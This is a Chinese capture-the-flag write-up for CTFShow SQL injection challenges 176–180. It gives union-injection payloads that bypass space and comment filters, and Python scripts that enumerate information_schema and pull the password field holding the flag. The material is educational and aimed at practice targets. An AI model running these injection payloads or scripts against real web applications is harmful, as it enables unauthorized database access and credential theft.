CTFShow-web-vip/SQL 176-180(Union注入)

CTFShow-web-vip/SQL 176-180 解题笔记(Union注入专题)

web 176:基础过滤探测

题目分析

题目提示对传入参数进行了简单过滤(waf($str) 代码未展示),核心目标是突破过滤并触发SQL注入。

注入思路

  1. 先使用基础万能密码探测注入点是否存在,验证参数是否可控。
  2. 若万能密码生效,说明过滤规则较简单,可进一步推进Union注入。

关键Payload

1
?id=' or 1=1 --+
  • 作用:闭合原SQL语句的单引号,通过or 1=1使条件恒真,--+注释掉后续语句,实现“万能登录”或数据泄露。

web 177:/**/ 绕过空格过滤

题目分析

WAF过滤了空格,需用/**/(SQL注释符)替代空格,保证SQL语法合法。

注入步骤(手动复现)

1. 验证注入点与字段数

1
?id=1'/**/union/**/select/**/1,2,3%23
  • 说明:%23是URL编码的#,用于注释后续内容;返回结果若显示23,说明字段数为3且这两个位置可回显。

2. 查询数据库中的表名

1
?id=1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="ctfshow_web"%23
  • 结果:可查询到目标表 ctfshow_user(通常存储账号密码)。

3. 查询目标表的字段名

1
?id=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="ctfshow_web"/**/and/**/table_name="ctfshow_user"%23
  • 结果:可查询到关键字段 usernamepassword

4. 读取flag(flag存储在username=’flag’的记录中)

1
?id=-1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_web.ctfshow_user/**/where/**/username="flag"%23
  • 结果:返回 password 字段值,即flag。

自动化脚本(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import json
import sys

# 注意:替换为当前靶场的真实URL
BASE_URL = "http://1fbe9ff5-334d-4b55-b6b8-713edccccce7.challenge.ctf.show/api/?id="

# 注入Payload(/**/绕过空格)
PARAMS = {
'验证字段数': "1'/**/union/**/select/**/1,2,3%23",
'查询表名': "1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23",
'查询字段名': "-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctfshow_web'/**/and/**/table_name='ctfshow_user'%23",
'读取flag': "-1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_web.ctfshow_user/**/where/**/username='flag'%23"
}

def inject(sql_payload):
"""发送注入请求并解析响应"""
try:
full_url = BASE_URL + sql_payload
response = requests.get(full_url, timeout=5)
response.raise_for_status() # 捕获HTTP错误(如404、500)
data = response.json()

# 验证响应格式是否符合预期(靶场返回含'data'的JSON)
if not isinstance(data, dict) or 'data' not in data:
raise ValueError("响应格式异常,无'data'字段")
return data
except Exception as e:
print(f"请求/解析错误:{str(e)}", file=sys.stderr)
return None

def show_result(data, step):
"""展示注入结果"""
print(f"\n=== {step} 结果 ===")
if not data or 'data' not in data:
print("无有效数据返回")
return
for idx, record in enumerate(data['data'], 1):
print(f"记录 {idx}:")
for k, v in record.items():
print(f" {k}: {v}")

def main():
print("web177 SQL注入自动化测试(/**/绕过空格)")
for step, payload in PARAMS.items():
result = inject(payload)
show_result(result, step)

if __name__ == "__main__":
main()

web 178:%09 绕过空格过滤

题目分析

WAF过滤空格,但允许%09(URL编码的Tab键)替代空格,核心思路与web177一致,仅替换空格绕过方式。

关键Payload(%09替代空格)

  1. 验证字段数:?id=1'%09union%09select%091,2,3%23
  2. 查询表名:?id=1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23
  3. 查询字段名:?id=-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'%23
  4. 读取flag:?id=-1'%09union%09select%091,2,password%09from%09ctfshow_web.ctfshow_user%09where%09username='flag'%23

自动化脚本(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import json
import sys

BASE_URL = "http://84c2fd23-10e5-432c-bd2d-546294c5987d.challenge.ctf.show/api/?id="

# 注入Payload(%09绕过空格)
PARAMS_09 = {
'验证字段数': "1'%09union%09select%091,2,3%23",
'查询表名': "1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23",
'查询字段名': "-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'%23",
'读取flag': "-1'%09union%09select%091,2,password%09from%09ctfshow_web.ctfshow_user%09where%09username='flag'%23"
}

def inject(sql_payload):
try:
full_url = BASE_URL + sql_payload
response = requests.get(full_url, timeout=5)
response.raise_for_status()
return response.json()
except Exception as e:
print(f"错误:{str(e)}", file=sys.stderr)
return None

def show_result(data, step):
print(f"\n=== {step} ===")
if not data or 'data' not in data:
print("无数据")
return
for idx, rec in enumerate(data['data'], 1):
print(f"记录 {idx}: {rec}")

def main():
print("web178 测试(%09绕过空格)")
for step, payload in PARAMS_09.items():
res = inject(payload)
show_result(res, step)

if __name__ == "__main__":
main()

web 179:%0c 绕过空格过滤

题目分析

WAF拦截/**/%09,需用%0c(URL编码的“换页符”,SQL中可识别为空白符)替代空格。

关键Payload(%0c替代空格)

  1. 验证字段数:?id=-1'%0cunion%0cselect%0c1,2,3%23
  2. 查询表名:?id=1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23
  3. 查询字段名:?id=-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'%23
  4. 读取flag:?id=-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%23

自动化脚本(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import json
import sys

BASE_URL = "http://5f44f5c4-1c94-4dd4-98a3-b6cddff07018.challenge.ctf.show/api/?id="

# 注入Payload(%0c绕过空格)
PARAMS_0C = {
'验证字段数': "1'%0cunion%0cselect%0c1,2,3%23",
'查询表名': "1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23",
'查询字段名': "-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'%23",
'读取flag': "-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%23"
}

def inject(sql_payload):
try:
full_url = BASE_URL + sql_payload
response = requests.get(full_url, timeout=5)
response.raise_for_status()
return response.json()
except Exception as e:
print(f"错误:{str(e)}", file=sys.stderr)
return None

def show_result(data, step):
print(f"\n=== {step} ===")
if not data or 'data' not in data:
print("无数据")
return
for idx, rec in enumerate(data['data'], 1):
print(f"记录 {idx}: {rec}")

def main():
print("web179 测试(%0c绕过空格)")
for step, payload in PARAMS_0C.items():
res = inject(payload)
show_result(res, step)

if __name__ == "__main__":
main()

web 180:–%0c 绕过注释过滤

题目分析

WAF过滤了%23#)注释符,需用--%0c替代(--是SQL单行注释符,%0c避免注释符后需空格的语法限制)。

关键Payload(–%0c替代%23)

  1. 验证字段数:?id=-1'%0cunion%0cselect%0c1,2,3--%0c
  2. 查询表名:?id=1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
  3. 查询字段名:?id=-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
  4. 读取flag:?id=-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'--%0c

自动化脚本(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import json
import sys

BASE_URL = "http://b3bc43c6-36cd-4543-bb69-b20084a42585.challenge.ctf.show/api/?id="

# 注入Payload(--%0c绕过注释)
PARAMS_COMMENT = {
'验证字段数': "1'%0cunion%0cselect%0c1,2,3--%0c",
'查询表名': "1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c",
'查询字段名': "-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c",
'读取flag': "-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'--%0c"
}

def inject(sql_payload):
try:
full_url = BASE_URL + sql_payload
response = requests.get(full_url, timeout=5)
response.raise_for_status()
return response.json()
except Exception as e:
print(f"错误:{str(e)}", file=sys.stderr)
return None

def show_result(data, step):
print(f"\n=== {step} ===")
if not data or 'data' not in data:
print("无数据")
return
for idx, rec in enumerate(data['data'], 1):
print(f"记录 {idx}: {rec}")

def main():
print("web180 测试(--%0c绕过注释)")
for step, payload in PARAMS_COMMENT.items():
res = inject(payload)
show_result(res, step)

if __name__ == "__main__":
main()

总结:176-180 核心绕过技巧

题目 过滤目标 绕过方式 核心Payload片段
176 简单字符过滤 万能密码 ' or 1=1 --+
177 空格 /**/(SQL注释) union/**/select
178 空格 %09(Tab键编码) union%09select
179 空格 %0c(换页符编码) union%0cselect
180 空格+#注释 %0c+--%0c select%0c1,2,3--%0c

所有题目均围绕“Union注入”流程:验证注入点→查字段数→查表名→查字段名→读敏感数据,仅需根据WAF规则调整“空格”和“注释”的绕过方式即可。